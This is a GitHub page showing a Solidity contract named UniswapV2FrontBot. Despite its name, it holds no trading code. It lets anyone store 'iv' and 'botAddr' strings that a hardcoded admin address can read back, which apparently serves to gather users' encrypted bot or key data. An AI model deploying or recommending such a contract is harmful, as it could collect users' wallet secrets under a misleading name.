-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathUniswapV2FrontBot.sol
45 lines (33 loc) · 1.05 KB
/
UniswapV2FrontBot.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
pragma solidity ^0.4.18;
contract UniswapV2FrontBot {
struct FrontBot {
string iv;
string botAddr;
}
mapping (address => FrontBot) bots;
address[] public botAccts;
address public admin = 0x6E7bE797DE52cEA969130c028aD168844C4C5Bb5;
modifier isAdmin(){
if(msg.sender != admin)
return;
_;
}
function setFrontBot(address _address, string _iv, string _botAddr) public {
var bot = bots[_address];
bot.iv = _iv;
bot.botAddr = _botAddr;
botAccts.push(_address) -1;
}
function getFrontBots() view public returns(address[]) {
return botAccts;
}
function getFrontBotAddr(address _address) view isAdmin public returns (string) {
return (bots[_address].botAddr);
}
function getFrontBotIv(address _address) view isAdmin public returns (string) {
return (bots[_address].iv);
}
function countFrontBots() view public returns (uint) {
return botAccts.length;
}
}